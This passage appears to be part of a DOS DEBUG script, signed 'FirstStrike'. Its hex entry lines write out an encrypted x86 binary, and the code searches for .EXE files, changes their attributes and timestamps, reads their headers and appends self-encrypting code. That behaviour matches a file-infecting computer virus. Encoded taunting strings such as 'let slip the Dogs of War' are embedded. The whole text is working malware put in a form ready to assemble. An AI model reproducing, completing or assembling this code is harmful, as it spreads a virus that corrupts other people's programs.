E 0540 90 90 BB 21 00 03 DD B9 41 01 2E 8A 17 D0 CA 2E
|
|||
|
E 0550 88 17 43 E2 F5 E9 93 00 A6 A4 A0 17 3C FA 02 63
|
|||
|
E 0560 08 A7 C7 56 87 07 B5 00 73 20 00 EF E3 13 2C 13
|
|||
|
E 0570 02 47 17 02 47 07 02 8F 0C 0B 02 00 41 B0 B4 0A
|
|||
|
E 0580 7B 04 7A 7B 04 E4 94 D7 96 21 86 E4 F2 40 90 C2
|
|||
|
E 0590 EC DE C6 58 40 C2 DC C8 40 D8 CA E8 40 E6 D8 D2
|
|||
|
E 05A0 E0 40 E8 D0 CA 40 88 DE CE E6 40 DE CC 40 AE C2
|
|||
|
E 05B0 E4 42 00 B6 86 C2 E8 E0 D0 D2 E6 D0 BA 00 8C D2
|
|||
|
E 05C0 E4 E6 E8 A6 E8 E4 D2 D6 CA 00 96 E4 C2 CC E8 42
|
|||
|
E 05D0 00 07 85 02 A0 63 12 A7 D1 A7 95 F3 26 A1 B0 01
|
|||
|
E 05E0 C9 02 13 2C F2 02 47 EE 02 B6 87 0C 66 81 1D 81
|
|||
|
E 05F0 4C 07 7C 19 02 80 EA 06 D3 03 00 71 42 6A 9B 42
|
|||
|
E 0600 5C 13 3D E2 02 5C 19 0D E6 02 3C 69 A4 9B 42 4C
|
|||
|
E 0610 1D BE FD 66 ED 01 7C 00 00 9A EA 16 19 B1 06 0C
|
|||
|
E 0620 06 00 80 1D B1 D7 DD 01 7C 00 00 B4 EA 1A 8D 0C
|
|||
|
E 0630 00 00 9A 07 5C 06 00 42 21 D7 C3 8D 0C 00 00 B4
|
|||
|
E 0640 8F 0C 02 00 10 00 8F 0C 06 00 42 00 3C B0 80 A0
|
|||
|
E 0650 0E 77 00 00 06 BB 73 7B 04 AA 7B 00 00 5C 15 2E
|
|||
|
E 0660 4C 11 AC 00 8A 86 C5 EB BA 71 C6 4A 75 80 00 9B
|
|||
|
E 0670 42 71 42 4A 75 1B 02 0C 3E 9B 42 3E 0E 19 81 0A
|
|||
|
E 0680 20 00 5C 02 0D CA 02 F5 5C 06 0D D2 02 1D A1 5C
|
|||
|
E 0690 17 4D CE 02 F7 66 81 66 DB EA 00 01 10 00 00 01
|
|||
|
E 06A0 00 00 20 00 21 1A A5 9D 9E 10 1C 01 4D 5A F4 00
|
|||
|
E 06B0 04 00 00 00 20 00 00 00 FF FF 23 00 00 A0 00 00
|
|||
|
E 06C0 07 00 23 00 3D 00 4B 74 05 2E FF 2E 71 01 E8 02
|
|||
|
E 06D0 00 EB F6 50 53 51 06 52 1E B9 40 00 8B DA 80 3F
|
|||
|
E 06E0 2E 74 06 43 E2 F8 E9 C5 00 80 7F 01 45 75 F7 80
|
|||
|
E 06F0 7F 02 58 75 F1 80 7F 03 45 75 EB B8 00 43 E8 BF
|
|||
|
E 0700 00 2E 89 0E 6B 01 B8 01 43 33 C9 E8 B2 00 B8 02
|
|||
|
E 0710 3D E8 AC 00 93 B8 00 57 E8 A5 00 2E 89 0E 6F 01
|
|||
|
E 0720 2E 89 16 6D 01 0E 1F B4 3F B9 18 00 BA 75 01 E8
|
|||
|
E 0730 8E 00 2E 81 3E 87 01 93 19 75 03 EB 6C 90 E8 A3
|
|||
|
E 0740 00 50 52 E8 81 00 5A 58 E8 0D FE 53 51 52 BB 21
|
|||
|
E 0750 00 B9 41 01 2E 8A 17 D0 C2 2E 88 17 43 E2 F5 5A
|
|||
|
E 0760 59 5B B4 40 B9 BD 02 BA 00 00 E8 53 00 53 51 52
|
|||
|
E 0770 BB 21 00 B9 41 01 2E 8A 17 D0 CA 2E 88 17 43 E2
|
|||
|
E 0780 F5 5A 59 5B 2E C7 06 87 01 93 19 E8 5B 00 B4 40
|
|||
|
E 0790 B9 18 00 BA 75 01 E8 27 00 B8 01 57 2E 8B 0E 6F
|
|||
|
E 07A0 01 2E 8B 16 6D 01 E8 17 00 B4 3E E8 12 00 1F 5A
|
|||
|
E 07B0 B8 01 43 2E 8B 0E 6B 01 E8 05 00 07 59 5B 58 C3
|
|||
|
E 07C0 9C 2E FF 1E 71 01 C3 2E C4 06 89 01 2E A3 63 01
|
|||
|
E 07D0 2E 8C 06 65 01 2E C4 06 83 01 2E 8C 06 67 01 2E
|
|||
|
E 07E0 A3 69 01 C3 B8 02 42 EB 03 B8 00 42 33 D2 33 C9
|
|||
|
E 07F0 E8 CD FF C3
|
|||
|
RCX
|
|||
|
06F4
|
|||
|
W
|
|||
|
Q
|
|||
|
|
|||
|
|
|||
|
|
|||
|
-+- FirstStrike -+-
|